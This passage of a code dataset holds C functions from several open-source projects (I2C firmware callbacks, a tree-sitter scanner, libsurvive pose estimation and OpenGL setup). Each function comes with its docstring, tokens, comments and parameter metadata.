"will",
"read",
"another",
"one",
"0",
"=",
"stop",
"sending",
")",
"returns",
"the",
"read",
"byte"
] | [
"// reciving, so change to input",
"// send nack"
] | [
{
"param": "nack",
"type": "unsigned char"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "nack",
"type": "unsigned char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
83fc78e4022526ac8723b614dbf9979f84fb1982 | mediumrehr/SAOwner | firmware/SAOwner/src/saowner.c | [
"MIT"
] | C | i2c_slave_write_complete_callback | void | void i2c_slave_write_complete_callback(struct i2c_slave_module *const module) {
uint8_t temp[] = "test";
port_pin_set_output_level(TEST_PIN, true);
port_pin_set_output_level(TEST_PIN, false);
// usart_write_buffer_wait(&usart_instance, temp, sizeof(temp));
} | /**
* Slave finishes sending data to master
*/ | Slave finishes sending data to master | [
"Slave",
"finishes",
"sending",
"data",
"to",
"master"
] | void i2c_slave_write_complete_callback(struct i2c_slave_module *const module) {
uint8_t temp[] = "test";
port_pin_set_output_level(TEST_PIN, true);
port_pin_set_output_level(TEST_PIN, false);
} | [
"void",
"i2c_slave_write_complete_callback",
"(",
"struct",
"i2c_slave_module",
"*",
"const",
"module",
")",
"{",
"uint8_t",
"temp",
"[",
"]",
"=",
"\"",
"\"",
";",
"port_pin_set_output_level",
"(",
"TEST_PIN",
",",
"true",
")",
";",
"port_pin_set_output_level",
"(",
"TEST_PIN",
",",
"false",
")",
";",
"}"
] | Slave finishes sending data to master | [
"Slave",
"finishes",
"sending",
"data",
"to",
"master"
] | [
"// usart_write_buffer_wait(&usart_instance, temp, sizeof(temp));"
] | [
{
"param": "module",
"type": "struct i2c_slave_module"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "module",
"type": "struct i2c_slave_module",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
83fc78e4022526ac8723b614dbf9979f84fb1982 | mediumrehr/SAOwner | firmware/SAOwner/src/saowner.c | [
"MIT"
] | C | i2c_slave_read_complete_callback | void | void i2c_slave_read_complete_callback(struct i2c_slave_module *const module) {
// turn i2c LED on to show activity
if (genie_mode != GENIE_MODE_OFF) {
port_pin_set_output_level(LEDI2C_PIN, true);
uint8_t genie_dest_addr = dest_addr;
uint8_t bytes_received = module->buffer_received;
// print direction
if (uart_show_activity) {
if (genie_mode == GENIE_MODE_PASSTHROUGH) {
char dirStr[29] = {0};
snprintf(dirStr, sizeof(dirStr), "| Host > Genie > 0x%02X ", genie_dest_addr);
usart_write_buffer_wait(&usart_instance, dirStr, sizeof(dirStr));
} else if (genie_mode == GENIE_MODE_REDIRECT) {
char dirStr[29] = {0};
snprintf(dirStr, sizeof(dirStr), "| Host > (0x%02X)Genie > 0x%02X ", genie_dest_addr, redirect_address);
usart_write_buffer_wait(&usart_instance, dirStr, sizeof(dirStr));
// change destination address
genie_dest_addr = redirect_address;
}
} else {
if (genie_mode == GENIE_MODE_REDIRECT) {
genie_dest_addr = redirect_address;
}
}
wr_packet_out.address = genie_dest_addr;
wr_packet_out.data_length = module->buffer_received;
wr_packet_out.data = &read_buffer_in[0];
i2c_master_write_packet_wait(&i2c_master_instance, &wr_packet_out);
if (uart_show_activity) {
switch(genie_mode) {
case GENIE_MODE_PASSTHROUGH:
case GENIE_MODE_REDIRECT:
usart_write_buffer_wait(&usart_instance, "| ", sizeof("| "));
uint8_t i = 0;
while(read_buffer_in[i] != 0) {
uint8_t tempStr[4] = {0};
snprintf(tempStr, sizeof(tempStr), "%02X ", read_buffer_in[i]);
usart_write_buffer_wait(&usart_instance, tempStr, sizeof(tempStr));
i++;
}
usart_write_buffer_wait(&usart_instance, "\n", sizeof("\n"));
break;
default:
break;
}
}
// toggle LED to show activity
port_pin_set_output_level(LEDI2C_PIN, false);
port_pin_set_output_level(TEST_PIN, false);
}
} | /**
* Slave finishes receiving data from master
*/ | Slave finishes receiving data from master | [
"Slave",
"finishes",
"receiving",
"data",
"from",
"master"
] | void i2c_slave_read_complete_callback(struct i2c_slave_module *const module) {
if (genie_mode != GENIE_MODE_OFF) {
port_pin_set_output_level(LEDI2C_PIN, true);
uint8_t genie_dest_addr = dest_addr;
uint8_t bytes_received = module->buffer_received;
if (uart_show_activity) {
if (genie_mode == GENIE_MODE_PASSTHROUGH) {
char dirStr[29] = {0};
snprintf(dirStr, sizeof(dirStr), "| Host > Genie > 0x%02X ", genie_dest_addr);
usart_write_buffer_wait(&usart_instance, dirStr, sizeof(dirStr));
} else if (genie_mode == GENIE_MODE_REDIRECT) {
char dirStr[29] = {0};
snprintf(dirStr, sizeof(dirStr), "| Host > (0x%02X)Genie > 0x%02X ", genie_dest_addr, redirect_address);
usart_write_buffer_wait(&usart_instance, dirStr, sizeof(dirStr));
genie_dest_addr = redirect_address;
}
} else {
if (genie_mode == GENIE_MODE_REDIRECT) {
genie_dest_addr = redirect_address;
}
}
wr_packet_out.address = genie_dest_addr;
wr_packet_out.data_length = module->buffer_received;
wr_packet_out.data = &read_buffer_in[0];
i2c_master_write_packet_wait(&i2c_master_instance, &wr_packet_out);
if (uart_show_activity) {
switch(genie_mode) {
case GENIE_MODE_PASSTHROUGH:
case GENIE_MODE_REDIRECT:
usart_write_buffer_wait(&usart_instance, "| ", sizeof("| "));
uint8_t i = 0;
while(read_buffer_in[i] != 0) {
uint8_t tempStr[4] = {0};
snprintf(tempStr, sizeof(tempStr), "%02X ", read_buffer_in[i]);
usart_write_buffer_wait(&usart_instance, tempStr, sizeof(tempStr));
i++;
}
usart_write_buffer_wait(&usart_instance, "\n", sizeof("\n"));
break;
default:
break;
}
}
port_pin_set_output_level(LEDI2C_PIN, false);
port_pin_set_output_level(TEST_PIN, false);
}
} | [
"void",
"i2c_slave_read_complete_callback",
"(",
"struct",
"i2c_slave_module",
"*",
"const",
"module",
")",
"{",
"if",
"(",
"genie_mode",
"!=",
"GENIE_MODE_OFF",
")",
"{",
"port_pin_set_output_level",
"(",
"LEDI2C_PIN",
",",
"true",
")",
";",
"uint8_t",
"genie_dest_addr",
"=",
"dest_addr",
";",
"uint8_t",
"bytes_received",
"=",
"module",
"->",
"buffer_received",
";",
"if",
"(",
"uart_show_activity",
")",
"{",
"if",
"(",
"genie_mode",
"==",
"GENIE_MODE_PASSTHROUGH",
")",
"{",
"char",
"dirStr",
"[",
"29",
"]",
"=",
"{",
"0",
"}",
";",
"snprintf",
"(",
"dirStr",
",",
"sizeof",
"(",
"dirStr",
")",
",",
"\"",
"\"",
",",
"genie_dest_addr",
")",
";",
"usart_write_buffer_wait",
"(",
"&",
"usart_instance",
",",
"dirStr",
",",
"sizeof",
"(",
"dirStr",
")",
")",
";",
"}",
"else",
"if",
"(",
"genie_mode",
"==",
"GENIE_MODE_REDIRECT",
")",
"{",
"char",
"dirStr",
"[",
"29",
"]",
"=",
"{",
"0",
"}",
";",
"snprintf",
"(",
"dirStr",
",",
"sizeof",
"(",
"dirStr",
")",
",",
"\"",
"\"",
",",
"genie_dest_addr",
",",
"redirect_address",
")",
";",
"usart_write_buffer_wait",
"(",
"&",
"usart_instance",
",",
"dirStr",
",",
"sizeof",
"(",
"dirStr",
")",
")",
";",
"genie_dest_addr",
"=",
"redirect_address",
";",
"}",
"}",
"else",
"{",
"if",
"(",
"genie_mode",
"==",
"GENIE_MODE_REDIRECT",
")",
"{",
"genie_dest_addr",
"=",
"redirect_address",
";",
"}",
"}",
"wr_packet_out",
".",
"address",
"=",
"genie_dest_addr",
";",
"wr_packet_out",
".",
"data_length",
"=",
"module",
"->",
"buffer_received",
";",
"wr_packet_out",
".",
"data",
"=",
"&",
"read_buffer_in",
"[",
"0",
"]",
";",
"i2c_master_write_packet_wait",
"(",
"&",
"i2c_master_instance",
",",
"&",
"wr_packet_out",
")",
";",
"if",
"(",
"uart_show_activity",
")",
"{",
"switch",
"(",
"genie_mode",
")",
"{",
"case",
"GENIE_MODE_PASSTHROUGH",
":",
"case",
"GENIE_MODE_REDIRECT",
":",
"usart_write_buffer_wait",
"(",
"&",
"usart_instance",
",",
"\"",
"\"",
",",
"sizeof",
"(",
"\"",
"\"",
")",
")",
";",
"uint8_t",
"i",
"=",
"0",
";",
"while",
"(",
"read_buffer_in",
"[",
"i",
"]",
"!=",
"0",
")",
"{",
"uint8_t",
"tempStr",
"[",
"4",
"]",
"=",
"{",
"0",
"}",
";",
"snprintf",
"(",
"tempStr",
",",
"sizeof",
"(",
"tempStr",
")",
",",
"\"",
"\"",
",",
"read_buffer_in",
"[",
"i",
"]",
")",
";",
"usart_write_buffer_wait",
"(",
"&",
"usart_instance",
",",
"tempStr",
",",
"sizeof",
"(",
"tempStr",
")",
")",
";",
"i",
"++",
";",
"}",
"usart_write_buffer_wait",
"(",
"&",
"usart_instance",
",",
"\"",
"\\n",
"\"",
",",
"sizeof",
"(",
"\"",
"\\n",
"\"",
")",
")",
";",
"break",
";",
"default",
":",
"break",
";",
"}",
"}",
"port_pin_set_output_level",
"(",
"LEDI2C_PIN",
",",
"false",
")",
";",
"port_pin_set_output_level",
"(",
"TEST_PIN",
",",
"false",
")",
";",
"}",
"}"
] | Slave finishes receiving data from master | [
"Slave",
"finishes",
"receiving",
"data",
"from",
"master"
] | [
"// turn i2c LED on to show activity",
"// print direction",
"// change destination address",
"// toggle LED to show activity"
] | [
{
"param": "module",
"type": "struct i2c_slave_module"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "module",
"type": "struct i2c_slave_module",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
8e57a706fe2b8c50736e0e769e02b9f99efb9a92 | zakinomiya/tree-sitter-v | src/scanner.c | [
"MIT"
] | C | tree_sitter_v_external_scanner_create | void | void *tree_sitter_v_external_scanner_create() {
Scanner *scanner = malloc(sizeof(Scanner));
scanner->initialized = true;
scanner->tokens = new_stack(10);
return scanner;
} | // Tree-Sitter external scanner functions | Tree-Sitter external scanner functions | [
"Tree",
"-",
"Sitter",
"external",
"scanner",
"functions"
] | void *tree_sitter_v_external_scanner_create() {
Scanner *scanner = malloc(sizeof(Scanner));
scanner->initialized = true;
scanner->tokens = new_stack(10);
return scanner;
} | [
"void",
"*",
"tree_sitter_v_external_scanner_create",
"(",
")",
"{",
"Scanner",
"*",
"scanner",
"=",
"malloc",
"(",
"sizeof",
"(",
"Scanner",
")",
")",
";",
"scanner",
"->",
"initialized",
"=",
"true",
";",
"scanner",
"->",
"tokens",
"=",
"new_stack",
"(",
"10",
")",
";",
"return",
"scanner",
";",
"}"
] | Tree-Sitter external scanner functions | [
"Tree",
"-",
"Sitter",
"external",
"scanner",
"functions"
] | [] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
d2168e381d9886e401900c1c5fb309fa758be9c1 | constructiverealities/libsurvive | src/poser_sba.c | [
"MIT"
] | C | run_sba | double | static double run_sba(SBAData *d, PoserDataFullScene *pdfs, SurviveObject *so, int max_iterations /* = 50*/,
double max_reproj_error /* = 0.005*/) {
double *covx = 0;
char *vmask = alloca(sizeof(char) * so->sensor_ct * NUM_GEN1_LIGHTHOUSES);
double *meas = alloca(sizeof(double) * 2 * so->sensor_ct * NUM_GEN1_LIGHTHOUSES);
size_t meas_size = construct_input(so, pdfs, vmask, meas);
sba_context sbactx = {&pdfs->hdr, so, .camera_params = {{.Rot = {1.}}, {.Rot = {1.}}}, .obj_pose = so->OutPoseIMU};
SurvivePose object2World = so->OutPoseIMU;
{
const char *subposer = survive_configs(so->ctx, "seed-poser", SC_GET, "BaryCentricSVD");
PoserCB driver = (PoserCB)GetDriverWithPrefix("Poser", subposer);
SurviveContext *ctx = so->ctx;
if (driver) {
PoserData hdr = pdfs->hdr;
memset(&pdfs->hdr, 0, sizeof(pdfs->hdr)); // Clear callback functions
pdfs->hdr.pt = hdr.pt;
pdfs->hdr.lighthouseposeproc = sba_set_cameras;
pdfs->hdr.userdata = &sbactx;
so->PoserFnData = d->opt.seed_poser_data;
driver(so, &pdfs->hdr);
d->opt.seed_poser_data = so->PoserFnData;
so->PoserFnData = d;
pdfs->hdr = hdr;
} else {
SV_INFO("Not using a seed poser for SBA; results will likely be way off");
for (int i = 0; i < 2; i++) {
so->ctx->bsd[i].Pose = (SurvivePose){0};
so->ctx->bsd[i].Pose.Rot[0] = 1.;
}
}
// opencv_solver_poser_cb(so, (PoserFnData *)pdfs);
// PoserCharlesSlow(so, (PoserFnData *)pdfs);
}
double opts[SBA_OPTSSZ] = {0};
double info[SBA_INFOSZ] = {0};
opts[0] = SBA_INIT_MU;
opts[1] = SBA_STOP_THRESH;
opts[2] = SBA_STOP_THRESH;
opts[3] = SBA_STOP_THRESH;
opts[3] = SBA_STOP_THRESH; // max_reproj_error * meas.size();
opts[4] = 0.0;
int status = sba_mot_levmar(so->sensor_ct, // number of 3d points
so->ctx->activeLighthouses, // Number of cameras -- 2 lighthouses
0, // Number of cameras to not modify
vmask, // boolean vis mask
(double *)&sbactx.camera_params[0], // camera parameters
sizeof(SurvivePose) / sizeof(double), // The number of floats that are in a camera param
meas, // 2d points for 3d objs
covx, // covariance of measurement. Null sets to identity
2, // 2 points per image
metric_function,
0, // jacobia of metric_func
&sbactx, // user data
max_iterations, // Max iterations
0, // verbosity
opts, // options
info); // info
if (status >= 0) {
SurvivePose lh2objects[NUM_GEN2_LIGHTHOUSES] = { 0 };
for (int i = 0; i < so->ctx->activeLighthouses; i++) {
lh2objects[i] = sbactx.camera_params[i];
if (!quatiszero(lh2objects[i].Rot)) {
quatnormalize(lh2objects[i].Rot, lh2objects[i].Rot);
}
}
PoserData_lighthouse_poses_func(&pdfs->hdr, so, lh2objects, so->ctx->activeLighthouses, 0);
} else {
SurviveContext *ctx = so->ctx;
SV_INFO("SBA was unable to run %d", status);
}
// Docs say info[0] should be divided by meas; I don't buy it really...
// std::cerr << info[0] / meas.size() * 2 << " original reproj error" << std::endl;
{
SurviveContext *ctx = so->ctx;
// Docs say info[0] should be divided by meas; I don't buy it really...
if (meas_size > 0) {
SV_INFO("%f original reproj error for %u meas", (info[0] / meas_size * 2), (int)meas_size);
SV_INFO("%f cur reproj error", (info[1] / meas_size * 2));
}
}
return meas_size == 0 ? 100 : info[1] / meas_size * 2;
} | // Optimizes for LH position assuming object is posed at 0 | Optimizes for LH position assuming object is posed at 0 | [
"Optimizes",
"for",
"LH",
"position",
"assuming",
"object",
"is",
"posed",
"at",
"0"
] | static double run_sba(SBAData *d, PoserDataFullScene *pdfs, SurviveObject *so, int max_iterations ,
double max_reproj_error ) {
double *covx = 0;
char *vmask = alloca(sizeof(char) * so->sensor_ct * NUM_GEN1_LIGHTHOUSES);
double *meas = alloca(sizeof(double) * 2 * so->sensor_ct * NUM_GEN1_LIGHTHOUSES);
size_t meas_size = construct_input(so, pdfs, vmask, meas);
sba_context sbactx = {&pdfs->hdr, so, .camera_params = {{.Rot = {1.}}, {.Rot = {1.}}}, .obj_pose = so->OutPoseIMU};
SurvivePose object2World = so->OutPoseIMU;
{
const char *subposer = survive_configs(so->ctx, "seed-poser", SC_GET, "BaryCentricSVD");
PoserCB driver = (PoserCB)GetDriverWithPrefix("Poser", subposer);
SurviveContext *ctx = so->ctx;
if (driver) {
PoserData hdr = pdfs->hdr;
memset(&pdfs->hdr, 0, sizeof(pdfs->hdr));
pdfs->hdr.pt = hdr.pt;
pdfs->hdr.lighthouseposeproc = sba_set_cameras;
pdfs->hdr.userdata = &sbactx;
so->PoserFnData = d->opt.seed_poser_data;
driver(so, &pdfs->hdr);
d->opt.seed_poser_data = so->PoserFnData;
so->PoserFnData = d;
pdfs->hdr = hdr;
} else {
SV_INFO("Not using a seed poser for SBA; results will likely be way off");
for (int i = 0; i < 2; i++) {
so->ctx->bsd[i].Pose = (SurvivePose){0};
so->ctx->bsd[i].Pose.Rot[0] = 1.;
}
}
}
double opts[SBA_OPTSSZ] = {0};
double info[SBA_INFOSZ] = {0};
opts[0] = SBA_INIT_MU;
opts[1] = SBA_STOP_THRESH;
opts[2] = SBA_STOP_THRESH;
opts[3] = SBA_STOP_THRESH;
opts[3] = SBA_STOP_THRESH;
opts[4] = 0.0;
int status = sba_mot_levmar(so->sensor_ct,
so->ctx->activeLighthouses,
0,
vmask,
(double *)&sbactx.camera_params[0],
sizeof(SurvivePose) / sizeof(double),
meas,
covx,
2,
metric_function,
0,
&sbactx,
max_iterations,
0,
opts,
info);
if (status >= 0) {
SurvivePose lh2objects[NUM_GEN2_LIGHTHOUSES] = { 0 };
for (int i = 0; i < so->ctx->activeLighthouses; i++) {
lh2objects[i] = sbactx.camera_params[i];
if (!quatiszero(lh2objects[i].Rot)) {
quatnormalize(lh2objects[i].Rot, lh2objects[i].Rot);
}
}
PoserData_lighthouse_poses_func(&pdfs->hdr, so, lh2objects, so->ctx->activeLighthouses, 0);
} else {
SurviveContext *ctx = so->ctx;
SV_INFO("SBA was unable to run %d", status);
}
{
SurviveContext *ctx = so->ctx;
if (meas_size > 0) {
SV_INFO("%f original reproj error for %u meas", (info[0] / meas_size * 2), (int)meas_size);
SV_INFO("%f cur reproj error", (info[1] / meas_size * 2));
}
}
return meas_size == 0 ? 100 : info[1] / meas_size * 2;
} | [
"static",
"double",
"run_sba",
"(",
"SBAData",
"*",
"d",
",",
"PoserDataFullScene",
"*",
"pdfs",
",",
"SurviveObject",
"*",
"so",
",",
"int",
"max_iterations",
",",
"double",
"max_reproj_error",
")",
"{",
"double",
"*",
"covx",
"=",
"0",
";",
"char",
"*",
"vmask",
"=",
"alloca",
"(",
"sizeof",
"(",
"char",
")",
"*",
"so",
"->",
"sensor_ct",
"*",
"NUM_GEN1_LIGHTHOUSES",
")",
";",
"double",
"*",
"meas",
"=",
"alloca",
"(",
"sizeof",
"(",
"double",
")",
"*",
"2",
"*",
"so",
"->",
"sensor_ct",
"*",
"NUM_GEN1_LIGHTHOUSES",
")",
";",
"size_t",
"meas_size",
"=",
"construct_input",
"(",
"so",
",",
"pdfs",
",",
"vmask",
",",
"meas",
")",
";",
"sba_context",
"sbactx",
"=",
"{",
"&",
"pdfs",
"->",
"hdr",
",",
"so",
",",
".",
"camera_params",
"=",
"{",
"{",
".",
"Rot",
"=",
"{",
"1.",
"}",
"}",
",",
"{",
".",
"Rot",
"=",
"{",
"1.",
"}",
"}",
"}",
",",
".",
"obj_pose",
"=",
"so",
"->",
"OutPoseIMU",
"}",
";",
"SurvivePose",
"object2World",
"=",
"so",
"->",
"OutPoseIMU",
";",
"{",
"const",
"char",
"*",
"subposer",
"=",
"survive_configs",
"(",
"so",
"->",
"ctx",
",",
"\"",
"\"",
",",
"SC_GET",
",",
"\"",
"\"",
")",
";",
"PoserCB",
"driver",
"=",
"(",
"PoserCB",
")",
"GetDriverWithPrefix",
"(",
"\"",
"\"",
",",
"subposer",
")",
";",
"SurviveContext",
"*",
"ctx",
"=",
"so",
"->",
"ctx",
";",
"if",
"(",
"driver",
")",
"{",
"PoserData",
"hdr",
"=",
"pdfs",
"->",
"hdr",
";",
"memset",
"(",
"&",
"pdfs",
"->",
"hdr",
",",
"0",
",",
"sizeof",
"(",
"pdfs",
"->",
"hdr",
")",
")",
";",
"pdfs",
"->",
"hdr",
".",
"pt",
"=",
"hdr",
".",
"pt",
";",
"pdfs",
"->",
"hdr",
".",
"lighthouseposeproc",
"=",
"sba_set_cameras",
";",
"pdfs",
"->",
"hdr",
".",
"userdata",
"=",
"&",
"sbactx",
";",
"so",
"->",
"PoserFnData",
"=",
"d",
"->",
"opt",
".",
"seed_poser_data",
";",
"driver",
"(",
"so",
",",
"&",
"pdfs",
"->",
"hdr",
")",
";",
"d",
"->",
"opt",
".",
"seed_poser_data",
"=",
"so",
"->",
"PoserFnData",
";",
"so",
"->",
"PoserFnData",
"=",
"d",
";",
"pdfs",
"->",
"hdr",
"=",
"hdr",
";",
"}",
"else",
"{",
"SV_INFO",
"(",
"\"",
"\"",
")",
";",
"for",
"(",
"int",
"i",
"=",
"0",
";",
"i",
"<",
"2",
";",
"i",
"++",
")",
"{",
"so",
"->",
"ctx",
"->",
"bsd",
"[",
"i",
"]",
".",
"Pose",
"=",
"(",
"SurvivePose",
")",
"{",
"0",
"}",
";",
"so",
"->",
"ctx",
"->",
"bsd",
"[",
"i",
"]",
".",
"Pose",
".",
"Rot",
"[",
"0",
"]",
"=",
"1.",
";",
"}",
"}",
"}",
"double",
"opts",
"[",
"SBA_OPTSSZ",
"]",
"=",
"{",
"0",
"}",
";",
"double",
"info",
"[",
"SBA_INFOSZ",
"]",
"=",
"{",
"0",
"}",
";",
"opts",
"[",
"0",
"]",
"=",
"SBA_INIT_MU",
";",
"opts",
"[",
"1",
"]",
"=",
"SBA_STOP_THRESH",
";",
"opts",
"[",
"2",
"]",
"=",
"SBA_STOP_THRESH",
";",
"opts",
"[",
"3",
"]",
"=",
"SBA_STOP_THRESH",
";",
"opts",
"[",
"3",
"]",
"=",
"SBA_STOP_THRESH",
";",
"opts",
"[",
"4",
"]",
"=",
"0.0",
";",
"int",
"status",
"=",
"sba_mot_levmar",
"(",
"so",
"->",
"sensor_ct",
",",
"so",
"->",
"ctx",
"->",
"activeLighthouses",
",",
"0",
",",
"vmask",
",",
"(",
"double",
"*",
")",
"&",
"sbactx",
".",
"camera_params",
"[",
"0",
"]",
",",
"sizeof",
"(",
"SurvivePose",
")",
"/",
"sizeof",
"(",
"double",
")",
",",
"meas",
",",
"covx",
",",
"2",
",",
"metric_function",
",",
"0",
",",
"&",
"sbactx",
",",
"max_iterations",
",",
"0",
",",
"opts",
",",
"info",
")",
";",
"if",
"(",
"status",
">=",
"0",
")",
"{",
"SurvivePose",
"lh2objects",
"[",
"NUM_GEN2_LIGHTHOUSES",
"]",
"=",
"{",
"0",
"}",
";",
"for",
"(",
"int",
"i",
"=",
"0",
";",
"i",
"<",
"so",
"->",
"ctx",
"->",
"activeLighthouses",
";",
"i",
"++",
")",
"{",
"lh2objects",
"[",
"i",
"]",
"=",
"sbactx",
".",
"camera_params",
"[",
"i",
"]",
";",
"if",
"(",
"!",
"quatiszero",
"(",
"lh2objects",
"[",
"i",
"]",
".",
"Rot",
")",
")",
"{",
"quatnormalize",
"(",
"lh2objects",
"[",
"i",
"]",
".",
"Rot",
",",
"lh2objects",
"[",
"i",
"]",
".",
"Rot",
")",
";",
"}",
"}",
"PoserData_lighthouse_poses_func",
"(",
"&",
"pdfs",
"->",
"hdr",
",",
"so",
",",
"lh2objects",
",",
"so",
"->",
"ctx",
"->",
"activeLighthouses",
",",
"0",
")",
";",
"}",
"else",
"{",
"SurviveContext",
"*",
"ctx",
"=",
"so",
"->",
"ctx",
";",
"SV_INFO",
"(",
"\"",
"\"",
",",
"status",
")",
";",
"}",
"{",
"SurviveContext",
"*",
"ctx",
"=",
"so",
"->",
"ctx",
";",
"if",
"(",
"meas_size",
">",
"0",
")",
"{",
"SV_INFO",
"(",
"\"",
"\"",
",",
"(",
"info",
"[",
"0",
"]",
"/",
"meas_size",
"*",
"2",
")",
",",
"(",
"int",
")",
"meas_size",
")",
";",
"SV_INFO",
"(",
"\"",
"\"",
",",
"(",
"info",
"[",
"1",
"]",
"/",
"meas_size",
"*",
"2",
")",
")",
";",
"}",
"}",
"return",
"meas_size",
"==",
"0",
"?",
"100",
":",
"info",
"[",
"1",
"]",
"/",
"meas_size",
"*",
"2",
";",
"}"
] | Optimizes for LH position assuming object is posed at 0 | [
"Optimizes",
"for",
"LH",
"position",
"assuming",
"object",
"is",
"posed",
"at",
"0"
] | [
"/* = 50*/",
"/* = 0.005*/",
"// Clear callback functions",
"// opencv_solver_poser_cb(so, (PoserFnData *)pdfs);",
"// PoserCharlesSlow(so, (PoserFnData *)pdfs);",
"// max_reproj_error * meas.size();",
"// number of 3d points",
"// Number of cameras -- 2 lighthouses",
"// Number of cameras to not modify",
"// boolean vis mask",
"// camera parameters",
"// The number of floats that are in a camera param",
"// 2d points for 3d objs",
"// covariance of measurement. Null sets to identity",
"// 2 points per image",
"// jacobia of metric_func",
"// user data",
"// Max iterations",
"// verbosity",
"// options",
"// info",
"// Docs say info[0] should be divided by meas; I don't buy it really...",
"// std::cerr << info[0] / meas.size() * 2 << \" original reproj error\" << std::endl;",
"// Docs say info[0] should be divided by meas; I don't buy it really..."
] | [
{
"param": "d",
"type": "SBAData"
},
{
"param": "pdfs",
"type": "PoserDataFullScene"
},
{
"param": "so",
"type": "SurviveObject"
},
{
"param": "max_iterations",
"type": "int"
},
{
"param": "max_reproj_error",
"type": "double"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "d",
"type": "SBAData",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "pdfs",
"type": "PoserDataFullScene",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "so",
"type": "SurviveObject",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "max_iterations",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "max_reproj_error",
"type": "double",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4a64c284a896df30986ad141b63dc5fe9cb085af | constructiverealities/libsurvive | tools/plot_lighthouse/main.c | [
"MIT"
] | C | init | void | void init()
{
int i,j;
//void quatrotatevector( FLT * vec3out, const FLT * quat, const FLT * vec3in );
// Load the lighthouses
LoadLighthousePos("L.txt", &houseL.x,&houseL.y,&houseL.z,&houseL.qi,&houseL.qj,&houseL.qk,&houseL.qreal);
LoadLighthousePos("R.txt", &houseR.x,&houseR.y,&houseR.z,&houseR.qi,&houseR.qj,&houseR.qk,&houseR.qreal);
printf("L pos %f %f %f quat %f %f %f %f\n", houseL.x,houseL.y,houseL.z,houseL.qi,houseL.qj,houseL.qk,houseL.qreal);
printf("R pos %f %f %f quat %f %f %f %f\n", houseR.x,houseR.y,houseR.z,houseR.qi,houseR.qj,houseR.qk,houseR.qreal);
/*
// Load the bearing angles
LoadHmdProcessedDataAngles("processed_data.txt", hmdAngles);
*/
// Spawn the thread to read the hmt angles
memset(read_hmdAngleViewed, 0, NUM_HMD*NUM_SWEEP*sizeof(int));
read_mutex = OGCreateMutex();
for (i=0; i<NUM_HMD; i++) {
for (j=0; j<4; j++) {
read_hmdAngles[j][i] = -9999.0;
}
}
read_thread = OGCreateThread(ThreadReadHmtAngles,NULL);
for (i=0; i<NUM_HMD; i++) {
if (hmdAngles[0][i]!=-9999.0 && hmdAngles[1][i]!=-9999.0 && hmdAngles[2][i]!=-9999.0 && hmdAngles[3][i]!=-9999.0)
{
printf("hmd %d lx %f ly %f rx %f ry %f\n",
i,
(180.0/PI) * hmdAngles[SWEEP_LX][i],
(180.0/PI) * hmdAngles[SWEEP_LY][i],
(180.0/PI) * hmdAngles[SWEEP_RX][i],
(180.0/PI) * hmdAngles[SWEEP_RY][i]);
}
}
// Initialize OpenGL
glShadeModel(GL_SMOOTH); // Enable Smooth Shading
glClearColor(0.6f, 0.8f, 1.0f, 0.5f); // Black Background
glClearDepth(1.0f); // Depth Buffer Setup
glEnable(GL_DEPTH_TEST); // Enables Depth Testing
glDepthFunc(GL_LEQUAL); // The Type Of Depth Testing To Do
glEnable ( GL_COLOR_MATERIAL );
glDisable(GL_CULL_FACE);
glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST);
} | /*
* init() is called at program startup
*/ | init() is called at program startup | [
"init",
"()",
"is",
"called",
"at",
"program",
"startup"
] | void init()
{
int i,j;
LoadLighthousePos("L.txt", &houseL.x,&houseL.y,&houseL.z,&houseL.qi,&houseL.qj,&houseL.qk,&houseL.qreal);
LoadLighthousePos("R.txt", &houseR.x,&houseR.y,&houseR.z,&houseR.qi,&houseR.qj,&houseR.qk,&houseR.qreal);
printf("L pos %f %f %f quat %f %f %f %f\n", houseL.x,houseL.y,houseL.z,houseL.qi,houseL.qj,houseL.qk,houseL.qreal);
printf("R pos %f %f %f quat %f %f %f %f\n", houseR.x,houseR.y,houseR.z,houseR.qi,houseR.qj,houseR.qk,houseR.qreal);
memset(read_hmdAngleViewed, 0, NUM_HMD*NUM_SWEEP*sizeof(int));
read_mutex = OGCreateMutex();
for (i=0; i<NUM_HMD; i++) {
for (j=0; j<4; j++) {
read_hmdAngles[j][i] = -9999.0;
}
}
read_thread = OGCreateThread(ThreadReadHmtAngles,NULL);
for (i=0; i<NUM_HMD; i++) {
if (hmdAngles[0][i]!=-9999.0 && hmdAngles[1][i]!=-9999.0 && hmdAngles[2][i]!=-9999.0 && hmdAngles[3][i]!=-9999.0)
{
printf("hmd %d lx %f ly %f rx %f ry %f\n",
i,
(180.0/PI) * hmdAngles[SWEEP_LX][i],
(180.0/PI) * hmdAngles[SWEEP_LY][i],
(180.0/PI) * hmdAngles[SWEEP_RX][i],
(180.0/PI) * hmdAngles[SWEEP_RY][i]);
}
}
glShadeModel(GL_SMOOTH);
glClearColor(0.6f, 0.8f, 1.0f, 0.5f);
glClearDepth(1.0f);
glEnable(GL_DEPTH_TEST);
glDepthFunc(GL_LEQUAL);
glEnable ( GL_COLOR_MATERIAL );
glDisable(GL_CULL_FACE);
glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST);
} | [
"void",
"init",
"(",
")",
"{",
"int",
"i",
",",
"j",
";",
"LoadLighthousePos",
"(",
"\"",
"\"",
",",
"&",
"houseL",
".",
"x",
",",
"&",
"houseL",
".",
"y",
",",
"&",
"houseL",
".",
"z",
",",
"&",
"houseL",
".",
"qi",
",",
"&",
"houseL",
".",
"qj",
",",
"&",
"houseL",
".",
"qk",
",",
"&",
